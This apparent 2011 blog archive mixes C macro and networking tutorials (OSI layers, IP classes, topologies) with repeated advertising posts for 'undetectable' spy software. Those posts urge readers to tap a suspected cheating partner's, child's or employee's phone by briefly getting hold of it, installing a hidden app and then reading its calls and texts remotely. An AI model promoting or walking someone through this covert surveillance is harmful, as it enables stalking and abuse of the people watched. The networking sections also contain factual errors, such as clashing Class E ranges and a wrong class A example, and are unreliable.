4CALL(printf, ("%d %d %s\n",1, 24, "urgh")); // macro
5/* results in printf ("%d %d %s\n",1, 24, "urgh"); */
6}

you have to take care of the parenthesis. like

01# define square_incorrect(x) (x *x) // incorrect version
02 
03# define square_correct(x) ((x) *(x)) // correct version
04 
05int main(){
06 
07int a,b;
08 
09a=square_incorrect(3+7) // equivalent expression 3+7*3+7 result in 31 expected result 100 !
10 
11b=square_correct(3+7) // result in 100
12 
13}

There is something which i wanted to tell you.suppose you have a macro like

`1`	`# define f(x) f((x)+2)`

how many times this replacement is done?
if you are replacing each time then this will go into infinite replacement
for eg
a call like this
f(2)
f((2)+2)
f(((2)+2)+2)
f((((2)+2)+2)+2)…
so these are not allowed
Note if the macro name results directly from replacement text then the replacement is not done more then one level
so the call
f(2)
f((2)+2) ->will stop here.
there is one last thing in function like macro called Stringizing
lets see what it is and how it works?
There is special treatment for places in the macro replacement text where one of the macro formal parameters is found preceded by #.the # and the token list are turned into a single string literal

01#define MESSAGE(x) printf("Message: %s\n", #x)
02 
03int main(){
04 
05MESSAGE (how are you);
06 
07/* above is equivalent to */
08 
09printf("Message: %s\n", "how are you")
10 
11MESSAGE (how are "you");
12 
13/* above is equivalent to */
14 
15printf("Message: %s\n", "how are \"you\"") // " or \ characters within the new string literal are preceded by \
16 
17}

hope you are fine until now.Rest we will see in next section.

Trace Cell Phone

2011-10-05T05:29:00.000-07:00

Want to Trace Cell Phone? Are you worried that your partner is having an affair? Do you want to find out the truth? We have one solution: use the Trace Cell Phone feature of a great spy software program that’s foolproof and guarantees great results. Allow us to tell you what it will do for you.
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Tapping Cell Phones – Easily Tap Any Cell PhoneMany people often wonder if Tapping Cell Phones is ethical or moral. There are a number of reasons why someone would want tap the calls of another person. They could be for business or personal reasons. If you have a business, you may want to know if a person is using company resources for his or her personal gain. It could also be that your spouse or partner is having second thoughts about the relationship. Your child may be having difficulties in their life that they just don’t feel they can openly talk about. Is it possible to tap cell phones? You probably know by now that it is possible to tap land line connections. With the advancement in technology, especially with the internet, many different types of software have been created to address different challenges and issues that are faced daily. To answer your question, yes, it is possible. Here’s what you will need to do: You need to prepare a few things before you can start tapping a cell phone. * You need to have a pc with a good internet connect, probably DSL or cable. * You need to have access to the cell phone you want to tap. * You will need to download a mini-application that will need to be installed on the phone you want to tap into. The next thing you will need to do is get the phone setup so that you can start monitoring the calls. Here’s how: 1. This may be the challenging part, but you will need to have access to the phone you are trying to tap into. You will only need access this one time. 2. Install the program on the cell phone and restart it. 3. Use an online application that will allow you to track the different activities of the phone. Using a robust, undetectable piece of software for easily Tapping Cell Phones. When you start using the software you’ll find out that you have a wealth of resources. You will be able to track incoming/outgoing calls and text from any computer. You just need to have access to any computer and within seconds you will know exactly what has been said in any text or call. You will also have logs for evidence if you need to take any action. Why don’t you have a look for yourself at the phone application that has helped many people find out the truth? Visit: Tapping Cell Phones. If you’ve made the decision to start monitoring someone’s calls, you need to have access to a computer with internet, install a phone application on a target cell phone and regularly check the different calls or texts online. How badly do you want to start monitoring those calls? Visit: Tapping Cell Phones.

2011-10-02T11:02:00.000-07:00

Many people often wonder if Tapping Cell Phones is ethical or moral. There are a number of reasons why someone would want tap the calls of another person. They could be for business or personal reasons. If you have a business, you may want to know if a person is using company resources for his or her personal gain.
It could also be that your spouse or partner is having second thoughts about the relationship. Your child may be having difficulties in their life that they just don’t feel they can openly talk about.

Is it possible to tap cell phones?
You probably know by now that it is possible to tap land line connections. With the advancement in technology, especially with the internet, many different types of software have been created to address different challenges and issues that are faced daily. To answer your question, yes, it is possible. Here’s what you will need to do:

You need to prepare a few things before you can start tapping a cell phone.
*     You need to have a pc with a good internet connect, probably DSL or cable.
*     You need to have access to the cell phone you want to tap.
*     You will need to download a mini-application that will need to be installed on the phone you want to tap into.
The next thing you will need to do is get the phone setup so that you can start monitoring the calls. Here’s how:
1. This may be the challenging part, but you will need to have access to the phone you are trying to tap into. You will only need access this one time.
2. Install the program on the cell phone and restart it.
3. Use an online application that will allow you to track the different activities of the phone.
Using a robust, undetectable piece of software for easily Tapping Cell Phones.
When you start using the software you’ll find out that you have a wealth of resources. You will be able to track incoming/outgoing calls and text from any computer. You just need to have access to any computer and within seconds you will know exactly what has been said in any text or call. You will also have logs for evidence if you need to take any action.
Why don’t you have a look for yourself at the phone application that has helped many people find out the truth? Visit: Tapping Cell Phones.
If you’ve made the decision to start monitoring someone’s calls, you need to have access to a computer with internet, install a phone application on a target cell phone and regularly check the different calls or texts online.
How badly do you want to start monitoring those calls? Visit: Tapping Cell Phones.

The 7 Layer of OSI

2011-09-19T10:42:00.000-07:00

Lets Start OSI

OSI-Open Systems Interconnect. It was developed in 1984 by (ISO).
By this we can know the mechanism of sending data fro one PC to anyother.

It Includes 7 layers

While Receiving data                             And While Sending data

7.. Application                                               1.Application
6.. Presentation                                              2.Presentation
5.. Session                                                     3.Session
4.. Transport                                                  4.Transport
3.. Network                                                   5.Network
2.. Data Link                                                  6.Data Link
1.. Physical                                                     7.Physical

Each And Every layer has Its own Role. I'll tell u all in details.

The O.S.I. model (O.S.I. - Open System Interconnection) is a way of sub-dividing a System into smaller parts (called layers) from the point of view of communications.
A layer is a collection of conceptually similar functions that provide services to the layer above it and receives services from the layer below it. On each layer an instance provides services to the instances at the layer above and requests service from the layer below. For example,
a layer that provides error-free communications, across a network provides the path needed by applications above it, while it calls the next lower layer to send and receive packets that make up the contents of the path. Conceptually two instances at one layer are connected by a horizontal protocol connection on that layer.

Virtually all networks in use today are based in some fashion on the Open Systems Interconnection (OSI) standard.

The core of this standard is the OSI Reference Model, a set of seven layers that define the different stages that data must go through to travel from one device to another over a network. In this article, you'll find out all about the OSI standard.

Layer 7: Application - This is the layer that actually interacts with the operating system or application whenever the user chooses to transfer files, read messages or perform other network-related activities.

Layer 6: Presentation - Layer 6 takes the data provided by the Application layer and converts it into a standard format that the other layers can understand.

Layer 5: Session - Layer 5 establishes, maintains and ends communication with the receiving device.

Layer 4: Transport - This layer maintains flow control of data and provides for error checking and recovery of data between the devices. Flow control means that the Transport layer looks to see if data is coming from more than one application and integrates each application's data into a single stream for the physical network.

Layer 3: Network - The way that the data will be sent to the recipient device is determined in this layer. Logical protocols, routing and addressing are handled here.

Layer 2: Data - In this layer, the appropriate physical protocol is assigned to the data. Also, the type of network and the packet sequencing is defined.

Layer 1: Physical - This is the level of the actual hardware. It defines the physical characteristics of the network such as connections, voltage levels and timing.

To help remember the layers names of the OSI model, try the following mnemonic device (Moving from the bottom layer to the top layer)

Layer Name Mnemonic

Layer 7......................Application.........................Away
Layer 6......................Presentation......................Pizza
Layer 5......................Sessions............................Sausage
Layer 4......................Transport...........................Throw
Layer 3......................Network.............................Not
Layer 2......................Data link.............................Do
Layer 1......................Physical..............................Please

while going 1 to 7 we can say
Please Do Not Take Sausage Pizza Away

And While Going 7th to 1st

Andhra Pradesh Se Train New Delhi Pahuchi

Lets Come To layers
1) Application layer: - This layer directly interacts with the user.
* Application layer provides a way for the network application like internet browser etc.
* The application layer provides the interface between application and network.
* It specifies many important network services that are used on the internet.

These include:-
1) HTTP
2) Telnet
3) FTP
4) TFTP
5) SNMP

2) Presentation Layer: - It presents the data into particular format like ASCII, MP3, MPEG, DOC, TEXT etc.

There are 3 works done by presentation layers.
* Encryption and decryption.
* Compression and decompression.
* Encapsulation and de-capsulation.

The presentation layer formats data for the application layer .Therefore; it also sets standards for multimedia and other file formats.
These include standard file format such as:
1) IPEG, BMP, TIFF, PICT.
2) MPEG,WMV,AVI,
3) ASCII, EBCDIC.
4) MIDI,WAV

3) Sessions Layer: -Creates maintains and terminates the session between sender and receiver.

* The Session layer protocols and interfaces co-ordinates requests and responses between different hosts using the same application.
These Protocols and interface include:
1) Network file system (NFS)
2) Apple Session protocol (ASP)

4.) Transport Layer: - Transport layer provides end to end data transfer between sender and receiver .It provides a transition between upper layer and lower layers of OSI model.

*.... It has 6 works to do :-

1).... It decides whether TCP or UDP is to be used:-
TCP – Transmission control protocol.
UDP- User data-gram protocol.

Following are the differences between TCP And UDP

...................TCP................................................................... UDP

a)......It is reliable................................................Unreliable
b)......TCP supports acknowledgment............... Doesn’t support acknowledgment.
c)......Slow...........................................................Fast
d)......Supports 3 way hand shake......................Supports one way handshake.
e)......Used for data.............................................Used for voice and video.
f)......TCP is connection oriented........................ UDP is connection less.

2).... Segmentation and desegmentation :-
Segmentation means breaking the data into smaller parts and desegmentation means reassembling those parts.
Segmentation in done at sender’s side.
And desegmentation is done at receiver’s side.

3).... Sequencing and rearranging:-
Sequencing means giving sequence number to the segment .It is done at sender’s side.
Rearranging means arranging those segments. It is done at receiver’s side.

4).... Multiplexing and demultiplexing:-
Multiplexing means one sender, many receivers.
Demultiplexing means many senders, one receiver.

5).... Error control:-
It checks for the lost segment and resends it.

6).... Flow control :-
It is also known as windowing. It controls the transmission speed.

Notes:-
Protocols that work at transport layer are TCP, UDP.

Transport layer Facts:-
The transport layer receiver large packets of information from higher layer and breaks of into smaller packets called segment.
Segmentation is necessary to enable the data to meet network size and format uses packet sequence number to reassemble segments into the original message.

5.) Network Layer:-
It adds IP address information to the packets.

Facts:-
The network layer describes how data is routed across network and on to the destination.
Network layer functions include:-
• Maintaining addresses of neighboring router.
• Maintaining a list of known networks.
The network layer uses a logical address for identifying hosts and making routing decisions. The types of addresses used are determined by the protocol.
*.... IP uses IP addresses that identify both the logical network and host addresses.
*.... IP X uses an 8 digit hexadecimal number for the network called for the host addresses.
*.... Apple talk uses a network number, ranging from 1 to 65,278 and a host number, ranging from 1 to 253.
*.... Hardware devices related to the network layer include:
•____Routers
•____Layer 3 switches.

Note
Devices that operate at the network layer read the logical address to make forwarding and receiving decisions.
Contrast their with devices that operate at the data link layer which read the MAC address.

*.... Protocols that work on network layer are IP, IPX, and apple talk.

6.) Data Link Layer :-
Data link layer is divided into 2 parts.
1) LLC – Logical link control.
2) MAC – Media access control.
Data link Facts:-
The data link layer defines the rules and procedures for hosts as they access the physical layer.

These rules and procedures specify or define:-
1) How hosts on the network are identified.
2) How the network medium can be accessed.
3) How to verify that the data received from the physical layer is error free.

It is divided into 2 sub layers:-
1) MAC: - Media access control.
The media access control layer defines specifications for controlling access to the media. The MAC sub layers are responsible for:-
*....Adding cyclical redundancy check for error checking.
*....Converting frames into bits to be sent across the network.
*....Identifying network devices and network topologies in preparation for media transmission.
*....Define an address (such as MAC address) for ex: - through CSMA/CD, CSMA/CA or token passing.

2) LLC
The logical link control layer provides an interface between the MAC layer and upper protocols.
LLC protocols are defined by the IEEE 802.2 committee. The LLC sub layer is responsible for:-
*....Maintaining orderly delivery of frames through sequencing.
*....Controlling the flow of rate of transmission.
*....Ensuring error free reception of message by retransmitting.
*....Converting data into an acceptable from the upper layers.
*.... Removing framing information from the packet and forwarding the message to the network layer.
*.... Provide a way for upper layers of the OSI model to use any MAC layer protocol.

The following network devices are associated with the data link layer.
*.... Nic card with external.

Data link layer adds MAC address information to the packets and makes it frames.

Diff between IP And Mac
......................IP.........................................................MAC

a).............32 bit.......................................................48 bit
b) Logical (changeable)...........................................Physical (unchangeable)
c) Divided into 4 parts.............................................12 parts
d) Separated by dot (.)............................................Separated By (:)

*....First 24 bits of MAC addresses is provided by IEEE, and the remaining 24 bits are company specific.

7.)Physical layer:-
It converts data into bits and sends them across the media.

*.... Facts
The physical layer of the OSI model sets standards for sending and receiving electrical signals between devices .It describes how digital data (bits) are converted to electrical pulses radio waves or pulses of light.
Hardware associated with physical layer include:-
1) Transmission media (cable and wires) media connector’s repeaters and hubs.
*.... Encapsulation of data on all layers
*.... Encapsulation of data on all layers:-

A – Data – PDU – protocols data unit.
P – Data
S – Data
T – Segment
N – Segment + IP (packet)
D – Packet + MAC Frame
P – Bits

Layers Works In Short:
A – Create
P – Present
S – Create a session
T – End to end data transfer
N – Gives the path
D – Adds MAC addresses and provides CRC check.
P – Convert the data into bits.

IP Address

2011-09-18T03:58:00.000-07:00

IP - Internet Protocol Address

Every system connected to the Internet or connected to a particular network has
a unique Internet Protocol Address of an IP Address. Just as in the real world
every person has his or her own Home Contact Address, similarly every system
connected to the Internet has its own unique IP Address. Your IP Address is the
address to which data should be sent to ensure that it reaches your system. The
IP Address of a system acts as the system’s unique identity on the net.

‘….Like in the real world everyone has got an individual Home Address or
telephone number so that, that particular individual can be contacted on that
number or address, similarly all computers connected to the Internet are given a
unique Internet Protocol or IP address which can be used to contact that
particular computer…..’

An Ip Address Can be Assigned to
1. Computer
2. printer
3. Ip Phone

U Cannot provide Ip Address to any device which is connected to A Computer on the network.
For Ex:
We Have Two Printers 1 is connected to one of the computer and other is directly connected to the network using LAN Cable.
So U cannot provide Ip Address to The Printer which is connected to the computer.

Internet Address (IP Address) is a 32-bit address or number, which is
normally written as four decimal numbers (of 8 bits each) , each separated from
the other by a decimal.. This standard is known as the dotted-decimal notation.

Now as u all no It Is used in decimal format Which is divided into 4 parts. Each part is Called An Octet.

Example
192.168.1.1

octet.octet.octet.octet.

Each octet Consists of a number between 0-255 .

IPV6 Is also launched. It Is 128 Bit Address and used in Hexa-decimal Format.

n Total we have 2 to the power 32 ( 4,294,967,296 ) possible unique addresses But Still its too less for the growing world of computers,
so we are shifting to IPV6.
IPV6 is a 128 bit address so u can calculate yourself what is 2 to the power 128.

Ip address is divided into Further two parts 1. network And Second host

To Communicate between two computers The network part of Both The Pc Must be The same and the host part must be different.

For ex

on 1st PC U gave Ip address network.host.host.host
on 2nd PC U gave ip address Network.Network.Host.Host

They will not communicate because on 1st PC 1st octet is network and rest 3 are host and on the second PC 1st two octets are network and rest two are host.

So to differentiate between network And Host part Ip Address is further Classified between 5 classes

As u know we can use ip address from 0-255
Addresses being used are divided into a number of ranges, which are as follows:

                           Class                                           Range
                                A                             0.0.0.0 to 127.255.255.255

                                B                             128.0.0.0 to 191.255.255.255

                                C                             192.0.0.0 to 223.255.255.255

                                D                             224.0.0.0 to 239.255.255.255

                                E                              240.0.0.0 to 247.255.255.255

let us refer to the following:

                Class                                      Information
                  A                                           It has the first
8-Bits for Netid and the last 24-bits for Hostid
                  B                                           It has the first
16-Bits for Netid and the last 16-bits for Hostid
                  C                                           It has the first
24-Bits for Netid and the last 8-bits for Hostid
                  D                                           It represents a
32-bit multicast Group ID.
                  E                                            Currently not
being used.

The above table will be clearer after reading the following examples:

Examples:

An IP Address 203.45.12.34 belonging to Class A means that the network ID is 203
and the host ID is 45.12.34

If the Same IP Address belonged to Class B, then the network ID would become
203.45 and the host ID would become 12.34

And if it belonged to Class C then the network ID would become 203.45.12 and the
host ID would become 34.

Almost all ISP’s prefer to use a Class B Network. If that is the case then each
time you login to your ISP, then the first 2 octets of your IP Address would not
change, while the last two are likely to change. However, even if only the last
octet changes, and the remaining three remain constant, it is likely that the
ISP uses Class B addressing. (Subnetting comes in. Explained later in the
manual)

Important Notes
Note 1: 127.0.0.0 is a class A network,
but is reserved for use as a loopback address
(typically 127.0.0.1).
Loopback testing means to test weather your Lan card is working or not and Weather TCP/Ip Service is installed or not. Just go to run and type ping 127.x.x.x -t. U can use any number between 0-255 in place of 'x'

Note 2: The 0.0.0.0 network is reserved for use as the default route.

Note 3: Class D addresses are used by groups of hosts or routers
that share a common characteristic. ( Used for multicast )

Note 4: Class E addresses exist (240-248),
but are reserved for future use or Use For testing purpose

Some More Notes About Ip Address Classes
The following are the classes of IP addresses.

*Class A "The first octet denotes the network address, and the last three octets are the host portion.
Any IP address whose first octet is between 1 and 126 is a Class A address.
Note that 0 is reserved as a part of the default address, and 127 is reserved for internal loopback testing.

*Class B "The first two octets denote the network address, and the last two octets are the host portion.
Any address whose first octet is in the range 128 to 191 is a Class B address.

*Class C "The first three octets denote the network address, and the last octet is the host portion.
The first octet range of 192 to 223 is a Class C address.

*Class D "Used for multicast. Multicast IP addresses have their first octets in the range 224 to 239.

*Class E "Reserved for future use and includes the range of addresses with a first octet from 240 to 255

NETWORKING BASICS

2011-09-16T22:17:00.000-07:00

I'll be giving y ou all Tutorials on NETWORKING basics & their working

NETWORKS - A COMPUTER NETWORK IS A GROUP OF COMPUTERS CONNECTED TO SHARE RESOURCES SUCH AS FILES PRINTERS AND EMAIL . NO TWO NETWORK S ARE ALIKE IN SIZE OR CONFIGURATION . HOWEVER EACH NETWORK INCLUDES COMMON NETWORK THAT PROVIDE RESOURCE AND COMMUNICATIONS
CHANNELS NECESSARY FOR A NETWORK TO OPERATE

NETWORK COMPONENTS

DEVICE - ANY PIECE OF HARDWARE SUCH AS A COMPUTER , SERVER , PRINTER OR FAX MACHINE

MEDIA -- WHICH CONNECTS DEVICES IN A NETWORK and carries data between them

NETWORK OPERATING SYSTEMS -- SOFTWARE THAT CONTROLS NETWORK TRAFFIC , ACCESS TO RESOURCES , AND AUTHORIZATION

PROTOCOL -- CONTROLS NETWORK COMMUNICATION USING A SET OF RULES

SERVERS

A SERVER IS A NETWORK COMPUTER THAT SHARES RESOURCES WITH AND RESPONDS TO REQUESTS FROM OTHER NETWORK COMPUTERS , INCLUDING OTHER SERVERS
SERVERS PROVIDE CENTRALIZED ACCESS AND STORAGE FOR RESOURCES THAT CAN INCLUDE APPLICATIONS, FILES, PRINTERS OR OTHER HARDWARE AND SPECIALIZED SERVICES SUCH AS EMAIL . A SERVER CAN BE OPTIMIZED AND DEDICATED TO A SPECIFIC FUNCTION , OR IT CAN SERVE GENERAL NEEDS . MULTIPLE SERVERS OF VARIOUS TYPES CAN EXIST ON A SINGLE NETWORK .

CLIENTS
A CLIENT IS A NETWORK COMPUTER THAT UTILIZES THE RESOURCES OF OTHER NETWORK COMPUTERS , INCLUDING OTHER CLIENTS . THE CLIENT COMPUTER HAS ITS OWN PROCESSOR , MEMORY AND STORAGE , AND CAN MAINTAIN SOME OF ITS OWN RESOURCES AND PERFORM ITS OWN TASK AND PROCESSING . ANY TYPE OF COMPUTER ON A NETWORK CAN FUNCTION AS A CLIENT OF ANOTHER COMPUTER FROM TIME TO TIME

PEERS

A PEER IS A SELF SUFFICIENT COMPUTER THAT ACTS AS A SERVER AND A CLIENT TO OTHER SIMILAR COMPUTERS ON THE NETWORK . PEER COMPUTING IS OFTEN USED IN SMALLER NETWORKS WITH NO DEDICATED SERVERS BUT BOTH SERVERS AND CLIENTS IN OTHER TYPES OF NETWORKS CAN ALSO SHARE RESOURCES WITH THEIR PEER COMPUTERS

HOST COMPUTERS/SERVERS

A HOST COMPUTER IS A POWERFUL , CENTRALIZED COMPUTER SYSTEM SUCH AS A MAINFRAME COMPUTER THAT PERFORMS DATA STORAGE AND PROCESSING TASKS ON BEHALF OF CLIENTS AND OTHER NETWORK DEVICES . ON A HOST BASED NETWORK , THE HOST DOES ALL THE COMPUTING TASKS AND RETURNS THE RESULTANT DATA TO THE END USER'S COMPUTER

TCP/IP HOSTS

IN THE EARLY DAYS OF COMPUTER NETWORK , ALL COMPUTER WERE HOST COMPUTERS THAT CONTROLLED THE ACTIVITIES OF NETWORK TERMINAL DEVICES . THE HOSTS WERE JOINED TOGETHER TO COMMUNICATE IN THE EARLY RESEARCH NETWORKS THAT LAID THE FOUNDATION FOR THE INTERNET

AS THE TCP/IP PROTOCOL WAS ADOPTED AND BECAME UBIQUITOUS AND AS PERSONAL COMPUTERS JOINED THE NETWORK THE TERM HOST WAS GENERALIZED AND IS NOW USED TO REFER TO VIRTUALLY AND INDEPENDENT SYSTEMS ON A TCP/IP NETWORK

TERMINALS

A TERMINAL IS A SPECIALIZED NETWORK DEVICE ON A HOST BASED NETWORK THAT TRANSMITS THE DATA ENTERED BY THE USER TO THE HOST FOR PROCESSING AND DISPLAYS THE RESULTS . TERMINALS ARE OFTEN CALLED ' DUMB ' BECAUSE THEY HAVE NO PROCESSOR OR MEMORY OF THEIR OWN .
STANDARD CLIENT COMPUTERS THAT NEED TO INTERACT WITH HOST COMPUTERS CAN RUN A SOFTWARE CALLED TERMINAL EMULATOR SO THAT THEY APPEAR TO THE HOST AS DEDICATED TERMINALS

AUTHENTICATION

DEFINITION :- AUTHENTICATION IS A NETWORK SECURITY MEASURE IN WHICH A COMPUTER USER OR SOME OTHER NETWORK COMPONENTS PROVES ITS IDENTITY IN ORDER TO GAIN ACCESS TO NETWORK RESOURCES . THERE ARE MANY POSSIBLE AUTHENTICATION METHODS , WITH THE MOST COMMON BEING A COMBINATION OF USER NAME AND PASSWORD .

TCP/IP HOSTS

IN THE EARLY DAYS OF COMPUTER NETWORK , ALL COMPUTER WERE HOST COMPUTERS THAT CONTROLLED THE ACTIVITIES OF NETWORK TERMINAL DEVICES . THE HOSTS WERE JOINED TOGETHER TO COMMUNICATE IN THE EARLY RESEARCH NETWORKS THAT LAID THE FOUNDATION FOR THE INTERNET

AS THE TCP/IP PROTOCOL WAS ADOPTED AND BECAME UBIQUITOUS AND AS PERSONAL COMPUTERS JOINED THE NETWORK THE TERM HOST WAS GENERALIZED AND IS NOW USED TO REFER TO VIRTUALLY AND INDEPENDENT SYSTEMS ON A TCP/IP NETWORK

TERMINALS

A TERMINAL IS A SPECIALIZED NETWORK DEVICE ON A HOST BASED NETWORK THAT TRANSMITS THE DATA ENTERED BY THE USER TO THE HOST FOR PROCESSING AND DISPLAYS THE RESULTS . TERMINALS ARE OFTEN CALLED ' DUMB ' BECAUSE THEY HAVE NO PROCESSOR OR MEMORY OF THEIR OWN .
STANDARD CLIENT COMPUTERS THAT NEED TO INTERACT WITH HOST COMPUTERS CAN RUN A SOFTWARE CALLED TERMINAL EMULATOR SO THAT THEY APPEAR TO THE HOST AS DEDICATED TERMINALS

NETWORK DIRECTORY SERVICES

A NETWORK DIRECTORY IS A CENTRALIZED HIERARCHICAL DATABASE THAT STORES AND ORGANIZES DATA ABOUT NETWORK USERS AND NETWORK RESOURCES . EACH PIECE OF DATA IS AN OBJECT HAS A SET OF ATTRIBUTES ASSOCIATED WITH IT . OBJECTS STORED IN A DIRECTORY INCLUDE USERS GROUPS PASSWORDS SHARED FOLDERS COMPUTERS AND SERVERS AMONG OTHERS

THE DIRECTORY MAY BE STORED ON ONE SERVER OR MAY BE REPLICATED ON MANY SERVERS ON THE NETWORK . NETWORK DIRECTORIES PROVIDE CENTRAL ADMINISTRATION AND CENTRALIZED AUTHENTICATION WHICH OFFER ADMINISTRATORS GREATER CONTROL OVER NETWORK

STANDARD NETWORK MODELS

A NETWORK MODEL IS A DESIGN SPECIFICATION FOR HOW THE NODES ON A NETWORK INTERACT AND COMMUNICATE. THE NETWORK MODEL DETERMINES THE DEGREETO WHICH COMMUNICATIONS AND PROCESSING ARE CENTRALIZED OR DISTRIBUTED

THREE PRIMARY NETWORK MODELS INCLUDE
* CENTRALIZED OR HIERARCHIAL
* CLIENT/SERVER
* PEER-TO-PEER

SOME NETWORKS CAN EVEN HAVE A MIXTURE OF THE ABOVE MODELS
I.E A NETWORK WITH PEER-TO-PEER NETWORK AS WELL AS CLIENT/SERVER MODEL

CENTRALIZED COMPUTING NETWORKS -- A CENTRALIZED NETWORK IS A NETWORK IN WHICH A CENTRAL HOST COMPUTER CONTROLS ALL NETWORK COMMUNICATION AND PERFORMS DATA PROCESSING AND STORAGE ON BEHALF OF CLIENTS. USERS CONNECT THROUGH A DEDICATED TERMINAL OR TERMINAL EMULATOR . CENTRALIZED NETWORKS PROVIDE HIGH PERFORMANCE AND CENTRALIZED MANAGEMENT ,BUT ALSO EXPENSIVE TO IMPLEMENT

CLIENT/SERVER NETWORKS
A CLIENT SERVER NETWORK IS A NETWORK IN WHICH SERVERS PROVIDE RESOURCES TO CLIENTS. TYPICALLY THERE IS ATLEAST ONE SERVER PROVIDING CENTRAL AUTHENTICATION SERVICES. SERVERS ALSO PROVIDE ACCESS TO SHARED FILES, PRINTERS HARDWARE AND APPS. IN CLIENT SERVER NETWORK PROCESSING POWER MANAGEMENT SERVICES AND ADMINISTRATIVE FUNCTIONS CAN BE CONCENTRATED WHERE NEEDED, WHILE CLIENTS CAN STILL PERFORM MANY BASIC END USER TASKS ON THEIR OWN

PEER - TO - PEER NETWORKS
A PEER TO PEER NETWORK IS A NETWORK IN WHICH RESOURCE SHARING ,PROCESSING AND COMMUNICATION CONTROL ARE COMPLETELY DECENTRALIZED . ALL CLIENTS IN THE NETWORK IS EQUAL IN TERMS ON SHARING AND RECEIVING RESOURCES AND USERS ARE AUTHENTICATED BY EACH INDIVIDUAL WORKSTATIONS . PEER TO PEER NETWORKS ARE THE MOST EASY RELIABLE AND INEXPENSIVE TO IMPLEMENT. HOWEVER THEY ARE ONLY PRACTICAL IN A VERY SMALL ORGANIZATION . DUE TO LACK OF ADMINISTRATION AND DATA STORAGE. A PEER TO PEER NETWORK IS ALSO REFERRED AS A WORKGROUP

EG: A BEST AWESOME EXAMPLE IS THE TORRENTS U USE TO DOWNLOAD FILES . THE APP WORKS ON THIS BASIS . IN THIS CASE SUPPOSE U R THE CLIENT U DONT GET THE FILE FROM THE OFFICIAL SERVER BUT FROM A PEER REMOTELY CURRENTLY DOWNLOADING THE SAME FILE .

SECONDLY COMES UR MINI LAB . WHERE U IMPLEMENT A NETWORK OF TWO OR MORE SERVER FOR THE PURPOSE OF GAMING OR FILE TRANSFER

PHYSICAL NETWORK TOPOLOGIES
A TOPOLOGY IS A NETWORK SPECIFICATION THAT DETERMINES THE NETWORKS OVERALL LAYOUT AND THE NETWORKS DATA FLOWING AND SIGNALLING PATTERNS , A TOPOLOGY CAN BE A PHYSICAL TOPOLOGY WHICH DESCRIBES PHYSICAL WIRING LAYOUT AND DIAGRAMS OR IT CAN BE A LOGICAL TOPOLOGY , WHICH DESCRIBES THE PATHS THROUGH WHICH THE DATA MOVES . THE PHYSICAL AND LOGICAL TOPOLOGIES DO NOT HAVE TO DO THE SAME . COMMON PHYISAL PATTERNS INCLUDE A STAR TOPOLOGY , TREE PATERN BUS OR A STRAIGHT LINE PATERN

NOTE:PHYSICAL BUS,TREE AND RING HAS BEEN DELETED OUT DUE ITS OUTDATED TECHNOLOGY AND NONRELIABLE NATURE

SO LETS START WITH PHYSICAL STAR TOPOLOGY

A PHYSICAL STAR TOPOLOGY IS A TYPE THAT USES A CENTRAL CONNECTIVITY DEVICE (ROUTER , SWITCHES , HUBS) WITH SEPERATE PHYSICAL CONNECTION TO EACH NODE(TERMINALS, SERVERS , PCS) THE INDIVIDUAL NODE FIRST SENDS DATA TO THE CENTRAL DEVICE AND THEN THE DEVICE FORWARDS THE DATA TO THE DESTINATION ADDRESS. STAR TOPLOGIES ARE INEXPENSIVE AND EASY TO MAINTAIN AND CONFIGURE ALSO TO IMPLEMENT. THE ONLY DRAWBACK IS IF THE CENTRAL DEVICE (SWITCH OR ROUTER ) GETS FAILED THEN THE WHOLE NETWORK IS ABNDONED AS ALL NODES ARE CONNECTED TO IT FOR DATA TRANSFER AND RESOURCE SHARING. STAR TOPLOGY IS THE MOST COMMERCIALLY USED TYPE OF NETWORK TOPOLOGIES EG: IN SCHOOLS, CYBERCAFES, SMALL ORGANIZATIONS , BANKS ETC ETC

PHYSICAL MESH TOPOLOGY
A PHYSICAL MESH TOPOLOGY IS A TYPE IN WHICH EACH NODE HAS A DIRECT CONNECTION TO EVERY OTHER NODE SIMILAR TO POINT TO POINT TOPOLOGY
. IN THIS CASE SUPPOSE THERE ARE 10 COMPUTERS EVERY NODE IS CONNECTED TO THE REMAINING 9 COMPUTERS VIA NIC CARDS (NETWORK INTERFACE CARDS)
OVERALL THIS TYPE OF NETWORK TOPOLGY IS THE MOST RELIABLE AND THE MOST MODERN . THE MOST SECURE AND MOST POWERFUL AND A FAULT TOLERENCE ONE AS NO TERMINAL NEEDS TO DEPEND ON OTHER END POINTS OR SERVERS

DRAWBACKS ARE ITS THE MOST EXPENSIVE ONE , THE MOST DIFFICULT ONE TO CONFIGURE AND IMPLEMENT . AND IS ALMOST A MESSY SITUATION WHEN IT COMES TO MAINTENANCE (AS THE NAME INDICATES MESH)

EG: COMPANIES AND ORGANIZATION WHICH WANTS THEIR NETWORKS TO BE MISSION CRITICAL AND FAULT TOLERANT IMPLEMENTS THIS NETWORK TOPOLOGY

FOR CURRENTLY I LL B NOT EXPLAINING LOGICAL TOPOLOGY
BECAUSE ITS OF NO USE ITS A THING JUST TO BE KEPT IN MIND
AND IS NOTHIN TO DO WITH PRACTICAL IMPLEMENTATION

HOWEVER IF ANYONE WANTS TO KNOW ABOUT IT
PLEASE LET ME KNOW AND I SHALL START POSTING

FOR NOW I LL B CONTINUING FROM LAN NETWORKS

LOCAL AREA NETWORKS

A LOCAL AREA NETWORK IS A SELF CONTAINED NETWORK THAT SPANS A SMALL AREA SUCH AS A SINGLE BUILDING , FLOOR OR ROOM , IN A LAN , ALL NODES AND SEGMENTS ARE DIRECTLY CONNECTED WITH CABLES OR SHORT RANGE WIRELESS TECHNOLOGIES
ALSO KNOWN AS WIRELESS LAN ( WLAN) .

WIDE AREA NETWORKS (WAN)
A WIDE AREA NETWORK IS A NETWORK THAT SPANS MULTIPLE GEOGRAPHIC LOCATIONS INCLUDING A METROPOLITAN AREA GEOGRAPHIC REASONS OR ENTIRE NATION . WANS TYPICALLY CONNECT MULTIPLE LANS AND OTHER NETWORKS USING LONG RANGE TRANSMISSION MEDIA. THE RESULT IS THAT USER AND COMPUTERS IN ONE LOCATION CAN COMMUNICATE WITH USERS AND COMPUTERS IN OTHER LOCATION(SIMILAR TO INTERNET) WANS ARE MOSTLY IMPLEMENTED BY LARGE PRIVATE COMPANIES OR BY INTERNET SERVICE PROVIDERS

Network Types:--
Peer to peer:

In a peer to peer network, the host provides and consumes network services, and each host has the same O.S
*.....Advantages of peer to peer network include:--
1)Easy implementation
2)Inexpensive

*.....Dis-Advantages of peer to peer network include:-
1)Difficult to expand (Not scalable)
2)Difficult to support
3)Lack centralized control
4)No centralize storage.

Client/server:

